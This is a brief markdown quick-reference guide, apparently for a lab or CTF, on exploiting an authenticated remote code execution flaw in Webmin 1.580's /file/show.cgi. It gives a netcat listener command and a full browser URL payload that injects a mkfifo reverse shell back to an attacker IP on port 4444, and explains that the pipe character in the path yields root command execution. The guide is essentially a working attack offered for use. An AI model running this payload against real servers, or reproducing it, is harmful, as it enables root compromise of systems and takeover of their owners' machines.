Markdown

Webmin 1.580 RCE Execution Guide

Quick reference for executing authenticated Remote Code Execution (RCE) on Webmin 1.580 via the /file/show.cgi component.

1. Attack Machine (Listener)

Run this command on your local machine to catch the incoming connection before executing the payload:

rlwrap nc -lnvp 4444

2. Target Exploit Payload Paste the following URL directly into your browser's address bar (ensure you are already logged into the Webmin dashboard first):

http://127.0.0.1:10001/file/show.cgi/bin/sysinfo.cgi|rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <YOUR_ATTACK_IP> 4444 >/tmp/f|

Note: Remember to replace <YOUR_ATTACK_IP> with your actual local or tunnel IP address, ALSO IP and PORT of the target.

Context & Details Vulnerability: Insufficient sanitization of inline path information passed to Perl's internal open() function in /file/show.cgi. Appending the pipe character (|) allows arbitrary command execution with root privileges.

Authentication: This requires an active session. The browser automatically handles authentication by sending your active session cookies when you submit the URL payload.

Expected Behavior: After pressing Enter, the browser tab will spin and appear to hang indefinitely. This confirms the server thread has been successfully hijacked to maintain the interactive shell session.